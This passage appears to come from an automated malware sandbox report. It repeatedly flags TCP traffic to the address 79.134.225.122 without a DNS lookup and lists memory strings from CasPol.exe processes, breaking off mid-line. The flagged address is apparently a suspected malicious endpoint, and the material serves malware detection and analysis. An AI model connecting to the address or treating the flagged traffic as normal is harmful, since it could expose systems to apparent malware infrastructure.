            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: CasPol.exe, 0000000D.00000003.78992434114.0000000001570000.00000004.00000001.sdmp, CasPol.exe, 00000017.00000002.79854189696.0000000001163000.00000004.00000020.sdmp, CasPol.exe, 0000001B.00000002.79969192260.00000000010B9000.00000004.00000020.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: CasPol.exe, 0000000D.00000003.78992434114.0000000001570000.00000004.0